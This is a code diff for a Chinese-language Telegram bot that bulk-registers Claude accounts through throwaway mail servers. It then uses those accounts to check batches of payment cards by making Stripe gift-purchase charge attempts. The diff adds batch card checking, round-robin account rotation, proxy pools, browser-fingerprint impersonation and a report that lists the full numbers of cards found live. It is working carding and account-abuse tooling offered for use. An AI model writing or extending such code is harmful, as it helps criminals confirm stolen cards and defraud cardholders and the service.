).result(timeout=10) + + except Exception as e: + logger.exception("自动注册异常") + asyncio.run_coroutine_threadsafe( + _edit_or_send(status_msg, f"💥 自动注册异常:{e}"), + loop, + ) + return False + + return success_count > 0 + + # ============================================================ # /check — CC 检查 # ============================================================ @restricted async def cmd_check(update: Update, context: ContextTypes.DEFAULT_TYPE): - """/check — CC 检查""" + """/check — CC 检查(支持多行批量)""" if not context.args: await update.message.reply_text( "❌ 用法:/check 卡号|月|年|CVC\n" - "示例:/check 4111111111111111|12|2025|123", + "支持一次粘贴多行:\n" + "/check\n" + "4111111111111111|12|25|123\n" + "5200000000000007|01|26|456", parse_mode="HTML", ) return - card_line = context.args[0] - parts = card_line.split("|") - if len(parts) != 4: - await update.message.reply_text("❌ 格式错误,需要:卡号|月|年|CVC", parse_mode="HTML") + # 解析所有行,提取有效卡片 + cards = [] + for arg in context.args: + arg = arg.strip() + if not arg: + continue + parts = arg.split("|") + if len(parts) == 4: + cards.append(arg) + + if not cards: + await update.message.reply_text( + "❌ 没有找到有效卡片。\n格式:卡号|月|年|CVC", + parse_mode="HTML", + ) return - # 读取可用账号 - try: - with open("accounts.txt", "r") as f: - lines = [l.strip() for l in f if l.strip()] - except FileNotFoundError: - lines = [] + # 检查是否有账号,若无则自动注册 5 个 + if account_store.count() == 0: + if not _set_task("自动注册 5 个账号"): + await update.message.reply_text(f"⚠️ 已有任务在运行:{_task_name}") + return - if not lines: - await update.message.reply_text("❌ 没有可用账号,请先 /register 注册一个。") + status_msg = await update.message.reply_text( + "📭 没有可用账号,正在自动注册 5 个...", + parse_mode="HTML", + ) + + loop = asyncio.get_event_loop() + reg_ok = await loop.run_in_executor( + None, _auto_register_sync, loop, status_msg, 5 + ) + _clear_task() + + if not reg_ok: + await _edit_or_send(status_msg, "❌ 自动注册失败,无法执行 CC 检查。") + return + + # 从账号池获取空闲账号 + if len(cards) == 1: + acquired = account_store.acquire(1) + else: + acquired = account_store.acquire() # 尽量获取所有空闲 + + if not acquired: + ps = account_store.pool_status() + if ps["total"] == 0: + await update.message.reply_text("❌ 没有可用账号,请先 /register 注册一个。") + else: + await update.message.reply_text( + f"⏳ 所有账号繁忙({ps['busy']}/{ps['total']}),请稍后再试。" + ) return - if not _set_task("CC 检查"): - await update.message.reply_text(f"⚠️ 已有任务在运行:{_task_name}") - return - - status_msg = await update.message.reply_text( - f"🔍 正在检查卡片:{parts[0][:4]}****{parts[0][-4:]}", - parse_mode="HTML", - ) - - loop = asyncio.get_event_loop() - threading.Thread( - target=_check_worker, - args=(loop, status_msg, card_line, lines[-1]), - daemon=True, - ).start() + if len(cards) == 1: + # 单卡检查 + parts = cards[0].split("|") + status_msg = await update.message.reply_text( + f"🔍 正在检查卡片:{parts[0][:4]}****{parts[0][-4:]}", + parse_mode="HTML", + ) + loop = asyncio.get_event_loop() + threading.Thread( + target=_check_worker, + args=(loop, status_msg, cards[0], acquired[0]), + daemon=True, + ).start() + else: + # 多卡批量检查 + status_msg = await update.message.reply_text( + f"📋 解析到 {len(cards)} 张卡片,{len(acquired)} 个账号就绪,开始批量检查...", + parse_mode="HTML", + ) + loop = asyncio.get_event_loop() + threading.Thread( + target=_batch_check_worker, + args=(loop, status_msg, cards, acquired), + daemon=True, + ).start() def _check_worker(loop: asyncio.AbstractEventLoop, status_msg, card_line: str, account_line: str): - """CC 检查工作线程""" + """CC 检查工作线程(完成后自动释放账号)""" try: cc, mm, yy, cvc = card_line.split("|") acc_parts = account_line.split("|") email, session_key, org_uuid = acc_parts[0], acc_parts[1], acc_parts[2] - from models import ClaudeAccount - from identity import random_ua + from core.models import ClaudeAccount + from core.identity import random_ua account = ClaudeAccount(email, session_key, org_uuid, random_ua()) masked = f"{cc[:4]}****{cc[-4:]}" @@ -454,7 +1309,7 @@ def _check_worker(loop: asyncio.AbstractEventLoop, status_msg, card_line: str, a loop, ) finally: - _clear_task() + account_store.release([account_line]) # ============================================================ @@ -476,19 +1331,38 @@ async def handle_document(update: Update, context: ContextTypes.DEFAULT_TYPE): await update.message.reply_text("❌ 文件太大(最大 1MB)") return - # 读取可用账号 - try: - with open("accounts.txt", "r") as f: - acc_lines = [l.strip() for l in f if l.strip()] - except FileNotFoundError: - acc_lines = [] + # 检查是否有账号,若无则自动注册 5 个 + if account_store.count() == 0: + if not _set_task("自动注册 5 个账号"): + await update.message.reply_text(f"⚠️ 已有任务在运行:{_task_name}") + return - if not acc_lines: - await update.message.reply_text("❌ 没有可用账号,请先 /register 注册一个。") - return + reg_status_msg = await update.message.reply_text( + "📭 没有可用账号,正在自动注册 5 个...", + parse_mode="HTML", + ) - if not _set_task("批量 CC 检查"): - await update.message.reply_text(f"⚠️ 已有任务在运行:{_task_name}") + loop_reg = asyncio.get_event_loop() + reg_ok = await loop_reg.run_in_executor( + None, _auto_register_sync, loop_reg, reg_status_msg, 5 + ) + _clear_task() + + if not reg_ok: + await _edit_or_send(reg_status_msg, "❌ 自动注册失败,无法执行 CC 检查。") + return + + # 从账号池获取空闲账号 + acquired = account_store.acquire() # 获取所有空闲 + + if not acquired: + ps = account_store.pool_status() + if ps["total"] == 0: + await update.message.reply_text("❌ 没有可用账号,请先 /register 注册一个。") + else: + await update.message.reply_text( + f"⏳ 所有账号繁忙({ps['busy']}/{ps['total']}),请稍后再试。" + ) return # 下载文件 @@ -500,7 +1374,7 @@ async def handle_document(update: Update, context: ContextTypes.DEFAULT_TYPE): content = file_bytes.decode("utf-8", errors="ignore") except Exception as e: await _edit_or_send(status_msg, f"💥 下载文件失败:{e}") - _clear_task() + account_store.release(acquired) return # 解析卡片 @@ -514,7 +1388,7 @@ async def handle_document(update: Update, context: ContextTypes.DEFAULT_TYPE): if not cards: await _edit_or_send(status_msg, "❌ 文件中没有找到有效卡片。\n格式:卡号|月|年|CVC") - _clear_task() + account_store.release(acquired) return await _edit_or_send( @@ -526,37 +1400,54 @@ async def handle_document(update: Update, context: ContextTypes.DEFAULT_TYPE): loop = asyncio.get_event_loop() threading.Thread( target=_batch_check_worker, - args=(loop, status_msg, cards, acc_lines[-1]), + args=(loop, status_msg, cards, acquired), daemon=True, ).start() -def _batch_check_worker(loop: asyncio.AbstractEventLoop, status_msg, cards: list, account_line: str): - """批量 CC 检查工作线程""" - from models import ClaudeAccount - from identity import random_ua +def _batch_check_worker(loop: asyncio.AbstractEventLoop, status_msg, cards: list, acc_lines: list): + """批量 CC 检查工作线程(round-robin 轮询账号)""" + from core.models import ClaudeAccount + from core.identity import random_ua results = [] total = len(cards) + num_accounts = len(acc_lines) + + # 预构建所有账号对象 + accounts = [] + for line in acc_lines: + parts = line.split("|") + email, session_key, org_uuid = parts[0], parts[1], parts[2] + acc = ClaudeAccount(email, session_key, org_uuid, random_ua()) + accounts.append(acc) + + # 为每个账号创建对应的 tokenizer 和 checker + tokenizers = [StripeTokenizer(acc.user_agent) for acc in accounts] + checkers = [GiftChecker(acc) for acc in accounts] try: - acc_parts = account_line.split("|") - email, session_key, org_uuid = acc_parts[0], acc_parts[1], acc_parts[2] - account = ClaudeAccount(email, session_key, org_uuid, random_ua()) - - tokenizer = StripeTokenizer(account.user_agent) - checker = GiftChecker(account) - for i, card_line in enumerate(cards): + if _is_stopped(): + break + + # Round-robin 选择账号 + idx = i % num_accounts + current_acc = accounts[idx] + tokenizer = tokenizers[idx] + checker = checkers[idx] + acc_label = current_acc.email.split("@")[0] # 简短标识 + cc, mm, yy, cvc = card_line.split("|") masked = f"{cc[:4]}****{cc[-4:]}" # 更新进度 recent = "\n".join(results[-5:]) # 显示最近 5 条结果 + acc_info = f" 👤 账号 {idx + 1}/{num_accounts}" if num_accounts > 1 else "" asyncio.run_coroutine_threadsafe( _edit_or_send( status_msg, - f"🔍 [{i + 1}/{total}] 检查中:{masked}\n\n" + f"🔍 [{i + 1}/{total}] 检查中:{masked}{acc_info}\n\n" + recent, ), loop, @@ -579,7 +1470,13 @@ def _batch_check_worker(loop: asyncio.AbstractEventLoop, status_msg, cards: list "DEAD": "💀", "ERROR": "⚠️", } icon = result_icons.get(result, "❓") - results.append(f"{icon} {masked} → {result}") + + # 仅成功结果显示完整卡号 + 对应邮箱 + live_results = {"LIVE", "INSUFFICIENT_FUNDS", "CCN_LIVE"} + if result in live_results: + results.append(f"{icon} {card_line} → {result}\n 📧 {current_acc.email}") + else: + results.append(f"{icon} {masked} → {result}") # 间隔防限流 if i < total - 1: @@ -590,9 +1487,10 @@ def _batch_check_worker(loop: asyncio.AbstractEventLoop, status_msg, cards: list dead = sum(1 for r in results if "DEAD" in r or "DECLINED" in r or "Stripe" in r) other = total - live - dead + acc_note = f" | 👤 {num_accounts} 个账号轮询" if num_accounts > 1 else "" report = ( f"🏁 批量 CC 检查完成\n\n" - f"📊 共 {total} 张 | 💰 有效 {live} | 💀 无效 {dead} | ❓ 其他 {other}\n\n" + f"📊 共 {total} 张 | 💰 有效 {live} | 💀 无效 {dead} | ❓ 其他 {other}{acc_note}\n\n" ) report += "\n".join(results) @@ -612,7 +1510,41 @@ def _batch_check_worker(loop: asyncio.AbstractEventLoop, status_msg, cards: list loop, ) finally: - _clear_task() + account_store.release(acc_lines) + + +# ============================================================ +# 回调处理 — 导出 JSON +# ============================================================ + +async def callback_export_json(update: Update, context: ContextTypes.DEFAULT_TYPE): + """处理导出 JSON 文件的回调""" + query = update.callback_query + await query.answer() + + accounts = account_store.read_all() + + if not accounts: + await query.message.reply_text("📭 没有账号数据。") + return + + json_data = json.dumps(accounts, indent=2, ensure_ascii=False) + json_path = "accounts_export.json" + with open(json_path, "w", encoding="utf-8") as f: + f.write(json_data) + + with open(json_path, "rb") as f: + await query.message.reply_document( + document=f, + filename="accounts.json", + caption=f"📋 共 {len(accounts)} 个账号", + ) + + # 清理临时文件 + try: + os.remove(json_path) + except OSError: + pass # ============================================================ @@ -620,18 +1552,74 @@ def _batch_check_worker(loop: asyncio.AbstractEventLoop, status_msg, cards: list # ============================================================ async def post_init(application: Application): - """Bot 启动后设置命令菜单""" + """Bot 启动后设置命令菜单 + 推送 help""" commands = [ BotCommand("start", "欢迎信息"), BotCommand("register", "注册 Claude 账号 [数量]"), - BotCommand("check", "CC 检查 <卡号|月|年|CVC>"), - BotCommand("accounts", "查看已注册账号"), - BotCommand("status", "当前任务状态"), + BotCommand("stop", "中断当前任务"), + BotCommand("check", "CC 检查"), + BotCommand("accounts", "查看账号"), + BotCommand("delete", "删除账号"), + BotCommand("verify", "验证 SK 有效性"), + BotCommand("stats", "统计面板"), + BotCommand("mailstatus", "邮件系统状态"), + BotCommand("proxy", "代理开关 on/off"), + BotCommand("proxytest", "测试代理"), + BotCommand("proxystatus", "代理池状态"), + BotCommand("adduser", "添加用户"), + BotCommand("removeuser", "移除用户"), + BotCommand("setperm", "修改用户权限"), + BotCommand("users", "用户列表"), + BotCommand("status", "任务状态"), BotCommand("help", "命令帮助"), ] await application.bot.set_my_commands(commands) logger.info("Bot 命令菜单已设置") + # 向所有已知用户推送启动通知 + help + merged = get_merged_permissions() + user_ids = set(merged.keys()) | set(TG_ALLOWED_USERS) + if not user_ids: + logger.info("未配置用户,跳过启动通知") + return + + startup_msg = ( + "🤖 autoClaude Bot 已启动\n\n" + "📖 命令说明\n\n" + "📝 注册与账号\n" + " /register [N] — 注册 N 个账号\n" + " /accounts — 查看已注册账号\n" + " /delete <序号|邮箱> — 删除账号\n" + " /verify — 验证 SK 有效性\n\n" + "💳 CC 检查\n" + " /check <CARD|MM|YY|CVC> — 单张检查\n" + " 📎 发送 .txt 文件 — 批量检查\n\n" + "🛠 工具与状态\n" + " /stop — 中断当前任务\n" + " /stats — 统计面板\n" + " /status — 任务状态\n\n" + "🌐 代理与邮件\n" + " /proxy on|off — 开关代理\n" + " /proxytest — 测试代理\n" + " /proxystatus — 代理池状态\n" + " /mailstatus — 邮件系统状态\n\n" + "🔐 用户管理(仅管理员)\n" + " /adduser <ID> [cmds] — 添加用户\n" + " /removeuser <ID> — 移除用户\n" + " /setperm <ID> <cmds> — 修改权限\n" + " /users — 查看用户列表\n" + ) + + for uid in user_ids: + try: + await application.bot.send_message( + chat_id=uid, text=startup_msg, parse_mode="HTML", + ) + except Exception as e: + logger.debug(f"启动通知发送失败 (uid={uid}): {e}") + + logger.info(f"启动通知已推送给 {len(user_ids)} 个用户") + def main(): """启动 Bot""" @@ -645,9 +1633,22 @@ def main(): app.add_handler(CommandHandler("start", cmd_start)) app.add_handler(CommandHandler("help", cmd_help)) app.add_handler(CommandHandler("register", cmd_register)) + app.add_handler(CommandHandler("stop", cmd_stop)) app.add_handler(CommandHandler("check", cmd_check)) app.add_handler(CommandHandler("accounts", cmd_accounts)) + app.add_handler(CommandHandler("delete", cmd_delete)) + app.add_handler(CommandHandler("verify", cmd_verify)) + app.add_handler(CommandHandler("stats", cmd_stats)) + app.add_handler(CommandHandler("mailstatus", cmd_mailstatus)) + app.add_handler(CommandHandler("proxytest", cmd_proxytest)) + app.add_handler(CommandHandler("proxystatus", cmd_proxystatus)) + app.add_handler(CommandHandler("proxy", cmd_proxy)) app.add_handler(CommandHandler("status", cmd_status)) + app.add_handler(CommandHandler("adduser", cmd_adduser)) + app.add_handler(CommandHandler("removeuser", cmd_removeuser)) + app.add_handler(CommandHandler("setperm", cmd_setperm)) + app.add_handler(CommandHandler("users", cmd_users)) + app.add_handler(CallbackQueryHandler(callback_export_json, pattern="^export_accounts_json$")) app.add_handler(MessageHandler(filters.Document.ALL, handle_document)) logger.info("🤖 Bot 启动中...") diff --git a/config.py b/config.py index 42fe3db..4c04290 100644 --- a/config.py +++ b/config.py @@ -29,5 +29,48 @@ PRODUCT_ID: str = _cfg["stripe"]["product_id"] TG_BOT_TOKEN: str = _cfg["telegram"]["bot_token"] TG_ALLOWED_USERS: list[int] = _cfg["telegram"].get("allowed_users", []) +# --- 角色权限 --- +# 静态权限来自 config.toml,运行时权限来自 permissions.json +# 每次调用 get_merged_permissions() 合并两者 +_roles: list[dict] = _cfg["telegram"].get("roles", []) + +# 静态权限映射(来自 config.toml) +_STATIC_PERMISSIONS: dict[int, set[str]] = {} + +# 检查 roles 是否实际配置了用户(至少一个 role 的 users 非空) +_roles_active = _roles and any(role.get("users") for role in _roles) + +if _roles_active: + for role in _roles: + cmds = set(role.get("commands", [])) + for uid in role.get("users", []): + _STATIC_PERMISSIONS.setdefault(uid, set()).update(cmds) +else: + # roles 未配置或 users 全为空 → 回退到 allowed_users 全量放行 + for uid in TG_ALLOWED_USERS: + _STATIC_PERMISSIONS[uid] = {"*"} + +# config.toml 中拥有 "*" 权限的用户 = 超级管理员 +ADMIN_USERS: set[int] = { + uid for uid, cmds in _STATIC_PERMISSIONS.items() if "*" in cmds +} + + +def get_merged_permissions() -> dict[int, set[str]]: + """合并 config.toml 静态权限 + permissions.json 运行时权限""" + from core import permissions as perm_mod + merged = dict(_STATIC_PERMISSIONS) + for uid, cmds in perm_mod.get_permissions_map().items(): + merged.setdefault(uid, set()).update(cmds) + return merged + + +# 向后兼容:初始静态权限 +TG_USER_PERMISSIONS = _STATIC_PERMISSIONS + # --- 邮箱系统 --- MAIL_SYSTEMS: list[dict] = _cfg.get("mail", []) + +# --- 代理池 --- +# 代理逻辑统一由 proxy_pool.py 管理,这里只做 re-export 保持兼容 +from core.proxy_pool import get_proxy, get_proxy_count # noqa: E402, F401 diff --git a/config.toml.example b/config.toml.example index d272bb6..9a500e0 100644 --- a/config.toml.example +++ b/config.toml.example @@ -17,17 +17,34 @@ product_id = "prod_TXU4hGh2EDxASl" bot_token = "your_bot_token_here" # @BotFather 获取 allowed_users = [] # 允许使用的用户ID列表(空=不限制) +# --- 角色权限控制 --- +# 每个 [[telegram.roles]] 定义一个角色,包含用户列表和允许的命令 +# commands = ["*"] 表示全部命令 +# 如果不配置 roles,所有 allowed_users 拥有全部权限 + +[[telegram.roles]] +name = "admin" +users = [] # 管理员用户 ID +commands = ["*"] # 全部命令 + +[[telegram.roles]] +name = "user" +users = [] # 普通用户 ID +commands = ["accounts", "verify", "stats", "status", "help", "start"] + # --- 邮箱系统(轮询使用,API 接口相同)--- # 可添加多个 [[mail]] 块 +# api_token: 直接配置 API Token,无需管理员账号密码 [[mail]] base_url = "https://mail.example.com/" -admin_email = "admin@example.com" -admin_pass = "your_password" +api_token = "your_api_token_here" domains = ["example.com"] # [[mail]] # base_url = "https://mail2.example.com/" -# admin_email = "admin@mail2.example.com" -# admin_pass = "pass2" +# api_token = "your_api_token_here" # domains = ["domain2.com", "domain3.com"] + +# --- 代理配置 --- +# 代理从 proxy.txt 文件加载,格式: host:port:user:pass(每行一个) diff --git a/core/__init__.py b/core/__init__.py new file mode 100644 index 0000000..4aa7a1c --- /dev/null +++ b/core/__init__.py @@ -0,0 +1,5 @@ +""" +autoClaude 核心模块包 + +包含认证、检查、邮件、代理、账号存储等业务逻辑。 +""" diff --git a/core/account_store.py b/core/account_store.py new file mode 100644 index 0000000..cd49713 --- /dev/null +++ b/core/account_store.py @@ -0,0 +1,268 @@ +""" +线程安全的账号存储模块 +统一管理 accounts.txt 的读写操作,避免并发冲突。 +支持删除、统计等功能。 +""" + +import json +import threading +from pathlib import Path + +_PROJECT_ROOT = Path(__file__).parent.parent +_ACCOUNTS_FILE = _PROJECT_ROOT / "accounts.txt" +_STATS_FILE = _PROJECT_ROOT / "stats.json" +_lock = threading.Lock() + +# ====== 账号池(并发调度)====== +# _busy 记录当前被占用的账号行(原始字符串) +_busy: set[str] = set() + + +def acquire(n: int = 0) -> list[str]: + """从空闲账号中获取最多 n 个,标记为占用。 + + Args: + n: 需要的账号数。0 表示尽量获取所有空闲账号(至少 1 个)。 + + Returns: + 被获取的账号行列表(可能少于 n),为空表示没有空闲账号。 + """ + with _lock: + try: + with open(_ACCOUNTS_FILE, "r", encoding="utf-8") as f: + all_lines = [line.strip() for line in f if line.strip()] + except FileNotFoundError: + return [] + + free = [line for line in all_lines if line not in _busy] + if not free: + return [] + + if n <= 0: + # 获取全部空闲 + acquired = free + else: + acquired = free[:n] + + _busy.update(acquired) + return acquired + + +def release(lines: list[str]) -> None: + """释放指定账号,标记为空闲。""" + with _lock: + for line in lines: + _busy.discard(line) + + +def pool_status() -> dict: + """返回账号池状态。""" + with _lock: + try: + with open(_ACCOUNTS_FILE, "r", encoding="utf-8") as f: + all_lines = [line.strip() for line in f if line.strip()] + except FileNotFoundError: + all_lines = [] + + total = len(all_lines) + busy = sum(1 for line in all_lines if line in _busy) + return {"total": total, "busy": busy, "free": total - busy} + + +# ====== 账号操作 ====== + +def append(email: str, session_key: str, org_uuid: str) -> None: + """追加一个账号""" + with _lock: + with open(_ACCOUNTS_FILE, "a", encoding="utf-8") as f: + f.write(f"{email}|{session_key}|{org_uuid}\n") + + +def read_all() -> list[dict]: + """读取所有账号""" + with _lock: + try: + with open(_ACCOUNTS_FILE, "r", encoding="utf-8") as f: + lines = [line.strip() for line in f if line.strip()] + except FileNotFoundError: + return [] + + result = [] + for line in lines: + parts = line.split("|") + result.append({ + "email": parts[0] if len(parts) > 0 else "", + "session_key": parts[1] if len(parts) > 1 else "", + "org_uuid": parts[2] if len(parts) > 2 else "", + }) + return result + + +def read_lines() -> list[str]: + """读取所有原始行""" + with _lock: + try: + with open(_ACCOUNTS_FILE, "r", encoding="utf-8") as f: + return [line.strip() for line in f if line.strip()] + except FileNotFoundError: + return [] + + +def get_last() -> dict | None: + """获取最后一个账号""" + accounts = read_all() + return accounts[-1] if accounts else None + + +def get_last_line() -> str | None: + """获取最后一行原始数据""" + lines = read_lines() + return lines[-1] if lines else None + + +def count() -> int: + """账号总数""" + return len(read_all()) + + +def delete_by_index(index: int) -> dict | None: + """删除指定序号的账号(1-based),返回被删除的账号信息""" + with _lock: + try: + with open(_ACCOUNTS_FILE, "r", encoding="utf-8") as f: + lines = [line.strip() for line in f if line.strip()] + except FileNotFoundError: + return None + + if index < 1 or index > len(lines): + return None + + removed_line = lines.pop(index - 1) + with open(_ACCOUNTS_FILE, "w", encoding="utf-8") as f: + for line in lines: + f.write(line + "\n") + + parts = removed_line.split("|") + return { + "email": parts[0] if len(parts) > 0 else "", + "session_key": parts[1] if len(parts) > 1 else "", + "org_uuid": parts[2] if len(parts) > 2 else "", + } + + +def delete_by_email(email: str) -> dict | None: + """按邮箱删除账号""" + with _lock: + try: + with open(_ACCOUNTS_FILE, "r", encoding="utf-8") as f: + lines = [line.strip() for line in f if line.strip()] + except FileNotFoundError: + return None + + removed = None + remaining = [] + for line in lines: + parts = line.split("|") + if parts[0] == email and removed is None: + removed = { + "email": parts[0] if len(parts) > 0 else "", + "session_key": parts[1] if len(parts) > 1 else "", + "org_uuid": parts[2] if len(parts) > 2 else "", + } + else: + remaining.append(line) + + if removed: + with open(_ACCOUNTS_FILE, "w", encoding="utf-8") as f: + for line in remaining: + f.write(line + "\n") + + return removed + + +def delete_by_emails(emails: list[str]) -> int: + """批量按邮箱删除账号,返回实际删除数量""" + if not emails: + return 0 + + email_set = set(emails) + with _lock: + try: + with open(_ACCOUNTS_FILE, "r", encoding="utf-8") as f: + lines = [line.strip() for line in f if line.strip()] + except FileNotFoundError: + return 0 + + remaining = [] + deleted = 0 + for line in lines: + parts = line.split("|") + if parts[0] in email_set: + deleted += 1 + # 同时从 busy 集合中移除 + _busy.discard(line) + else: + remaining.append(line) + + if deleted > 0: + with open(_ACCOUNTS_FILE, "w", encoding="utf-8") as f: + for line in remaining: + f.write(line + "\n") + + return deleted + + +# ====== 统计数据 ====== + +def _load_stats() -> dict: + try: + with open(_STATS_FILE, "r", encoding="utf-8") as f: + return json.load(f) + except (FileNotFoundError, json.JSONDecodeError): + return { + "register_total": 0, + "register_success": 0, + "register_fail": 0, + "register_fail_reasons": {}, + "cc_total": 0, + "cc_pass": 0, + "cc_fail": 0, + } + + +def _save_stats(stats: dict): + with open(_STATS_FILE, "w", encoding="utf-8") as f: + json.dump(stats, f, ensure_ascii=False, indent=2) + + +def record_register(success: bool, fail_reason: str = ""): + """记录一次注册结果""" + with _lock: + stats = _load_stats() + stats["register_total"] += 1 + if success: + stats["register_success"] += 1 + else: + stats["register_fail"] += 1 + if fail_reason: + reasons = stats.setdefault("register_fail_reasons", {}) + reasons[fail_reason] = reasons.get(fail_reason, 0) + 1 + _save_stats(stats) + + +def record_cc(passed: bool): + """记录一次 CC 检查结果""" + with _lock: + stats = _load_stats() + stats["cc_total"] += 1 + if passed: + stats["cc_pass"] += 1 + else: + stats["cc_fail"] += 1 + _save_stats(stats) + + +def get_stats() -> dict: + """获取统计数据""" + with _lock: + return _load_stats() diff --git a/claude_auth.py b/core/claude_auth.py similarity index 95% rename from claude_auth.py rename to core/claude_auth.py index ddbeb1e..edd4e43 100644 --- a/claude_auth.py +++ b/core/claude_auth.py @@ -2,9 +2,9 @@ import uuid import base64 from curl_cffi import requests # 用于模拟指纹 -from config import CLAUDE_URL -from models import ClaudeAccount -from identity import random_ua +from config import CLAUDE_URL, get_proxy +from core.models import ClaudeAccount +from core.identity import random_ua def attack_claude(target_email): @@ -48,7 +48,8 @@ def attack_claude(target_email): CLAUDE_URL, json=payload, headers=headers, - impersonate="chrome124" + impersonate="chrome124", + proxies=get_proxy(), ) if response.status_code == 200: @@ -132,7 +133,8 @@ def finalize_login(magic_link_fragment): verify_url, json=payload, headers=headers, - impersonate="chrome124" + impersonate="chrome124", + proxies=get_proxy(), ) if response.status_code == 200: diff --git a/gift_checker.py b/core/gift_checker.py similarity index 93% rename from gift_checker.py rename to core/gift_checker.py index 85ca533..d52cd92 100644 --- a/gift_checker.py +++ b/core/gift_checker.py @@ -1,8 +1,8 @@ from curl_cffi import requests # 用于模拟指纹 -from config import PRODUCT_ID -from models import ClaudeAccount -from identity import random_address +from config import PRODUCT_ID, get_proxy +from core.models import ClaudeAccount +from core.identity import random_address class GiftChecker: @@ -42,7 +42,7 @@ class GiftChecker: try: print(f"[*] 正在尝试扣款 (Gift Purchase)...") - resp = requests.post(url, json=payload, headers=headers, impersonate="chrome124") + resp = requests.post(url, json=payload, headers=headers, impersonate="chrome124", proxies=get_proxy()) resp_json = {} try: diff --git a/identity.py b/core/identity.py similarity index 100% rename from identity.py rename to core/identity.py diff --git a/mail_service.py b/core/mail_service.py similarity index 64% rename from mail_service.py rename to core/mail_service.py index 468ef1c..d09ddca 100644 --- a/mail_service.py +++ b/core/mail_service.py @@ -2,33 +2,21 @@ import time import re import random import threading -import requests as standard_requests # 用于普通API交互 +import requests as standard_requests # 用于普通API交互(不走代理,直连邮件服务器) class MailSystem: """单个邮箱系统实例,支持多域名""" - def __init__(self, base_url, admin_email, admin_password, domains): + def __init__(self, base_url, api_token, domains): self.base_url = base_url self.domains = domains # 该系统支持的域名列表 - self.token = self._get_token(admin_email, admin_password) + self.token = api_token self.headers = {"Authorization": self.token} - - def _get_token(self, email, password): - """获取身份令牌,这是我们的通行证""" - url = f"{self.base_url}/api/public/genToken" - payload = {"email": email, "password": password} - try: - resp = standard_requests.post(url, json=payload) - data = resp.json() - if data['code'] == 200: - print(f"[+] 令牌获取成功 ({self.base_url}): {data['data']['token'][:10]}...") - return data['data']['token'] - else: - raise Exception(f"获取Token失败: {data}") - except Exception as e: - print(f"[-] 连接邮件系统失败 ({self.base_url}): {e}") - return None + if self.token: + print(f"[+] 邮箱系统已连接 ({self.base_url}), Token: {self.token[:10]}...") + else: + print(f"[-] 邮箱系统 Token 为空 ({self.base_url})") def create_user(self, email_prefix, domain=None): """在系统里注册一个新邮箱用户""" @@ -44,16 +32,23 @@ class MailSystem: } ] } - resp = standard_requests.post(url, json=payload, headers=self.headers) - if resp.json().get('code') == 200: - print(f"[+] 邮箱用户创建成功: {full_email}") - return full_email - else: - print(f"[-] 创建邮箱失败: {resp.text}") + try: + resp = standard_requests.post(url, json=payload, headers=self.headers, timeout=15) + if resp.json().get('code') == 200: + print(f"[+] 邮箱用户创建成功: {full_email}") + return full_email + elif resp.status_code in (401, 403): + print(f"[-] 邮箱 API Token 无效或已过期! HTTP {resp.status_code}") + return None + else: + print(f"[-] 创建邮箱失败: {resp.text}") + return None + except Exception as e: + print(f"[-] 创建邮箱请求异常: {e}") return None - def wait_for_email(self, to_email, retry_count=20, sleep_time=3): - """像猎人一样耐心等待猎物出现""" + def wait_for_email(self, to_email, retry_count=20, sleep_time=3, stop_check=None): + """像猎人一样耐心等待猎物出现,支持外部中断""" url = f"{self.base_url}/api/public/emailList" payload = { "toEmail": to_email, @@ -66,10 +61,19 @@ class MailSystem: print(f"[*] 开始轮询邮件,目标: {to_email}...") for i in range(retry_count): + # 检查外部中断信号 + if stop_check and stop_check(): + print("[!] 收到停止信号,中断邮件轮询") + return None + try: - resp = standard_requests.post(url, json=payload, headers=self.headers) + resp = standard_requests.post(url, json=payload, headers=self.headers, timeout=15) data = resp.json() + if resp.status_code in (401, 403): + print(f"[-] 邮箱 API Token 无效或已过期! HTTP {resp.status_code}") + return None + if data.get('code') == 200 and data.get('data'): emails = data['data'] for email in emails: @@ -85,6 +89,27 @@ class MailSystem: print("[-] 等待超时,未收到邮件。") return None + def check_health(self) -> dict: + """检查该邮箱系统的连通性和 Token 有效性""" + if not self.token: + return {"ok": False, "message": "Token 未配置"} + try: + url = f"{self.base_url}/api/public/emailList" + payload = {"toEmail": "health@check.test", "sendName": "", "num": 1, "size": 1} + resp = standard_requests.post(url, json=payload, headers=self.headers, timeout=10) + if resp.status_code == 200: + return {"ok": True, "message": "连接正常"} + elif resp.status_code in (401, 403): + return {"ok": False, "message": f"Token 无效 (HTTP {resp.status_code})"} + else: + return {"ok": False, "message": f"异常响应 (HTTP {resp.status_code})"} + except standard_requests.exceptions.ConnectTimeout: + return {"ok": False, "message": "连接超时"} + except standard_requests.exceptions.ConnectionError: + return {"ok": False, "message": "无法连接"} + except Exception as e: + return {"ok": False, "message": f"异常: {e}"} + def __repr__(self): return f"MailSystem({self.base_url}, domains={self.domains})" @@ -103,8 +128,7 @@ class MailPool: for cfg in mail_configs: ms = MailSystem( base_url=cfg["base_url"], - admin_email=cfg["admin_email"], - admin_password=cfg["admin_pass"], + api_token=cfg.get("api_token", ""), domains=cfg["domains"], ) if ms.token: # 只添加连接成功的系统 diff --git a/models.py b/core/models.py similarity index 100% rename from models.py rename to core/models.py diff --git a/core/permissions.py b/core/permissions.py new file mode 100644 index 0000000..f9c2b92 --- /dev/null +++ b/core/permissions.py @@ -0,0 +1,98 @@ +""" +运行时权限管理模块 +管理员可通过 Bot 命令动态添加/删除用户和设置权限。 +持久化存储在 permissions.json 中。 +""" + +import json +import threading +from pathlib import Path + +_PROJECT_ROOT = Path(__file__).parent.parent +_PERM_FILE = _PROJECT_ROOT / "permissions.json" +_lock = threading.Lock() + +# 所有可用命令列表(用于验证输入) +ALL_COMMANDS = { + "start", "help", "register", "stop", "check", + "accounts", "delete", "verify", "stats", "status", + "mailstatus", "proxy", "proxytest", "proxystatus", + "document", # 文件上传 + "adduser", "removeuser", "setperm", "users", # 管理命令 +} + + +def _load() -> dict: + """加载权限数据""" + try: + with open(_PERM_FILE, "r", encoding="utf-8") as f: + return json.load(f) + except (FileNotFoundError, json.JSONDecodeError): + return {"users": {}} + + +def _save(data: dict): + """保存权限数据""" + with open(_PERM_FILE, "w", encoding="utf-8") as f: + json.dump(data, f, ensure_ascii=False, indent=2) + + +def add_user(user_id: int, commands: list[str]) -> None: + """添加用户或更新已有用户权限""" + with _lock: + data = _load() + data["users"][str(user_id)] = { + "commands": commands, + } + _save(data) + + +def remove_user(user_id: int) -> bool: + """删除用户,返回是否成功""" + with _lock: + data = _load() + key = str(user_id) + if key in data["users"]: + del data["users"][key] + _save(data) + return True + return False + + +def set_commands(user_id: int, commands: list[str]) -> bool: + """设置用户权限,返回是否成功(用户必须存在)""" + with _lock: + data = _load() 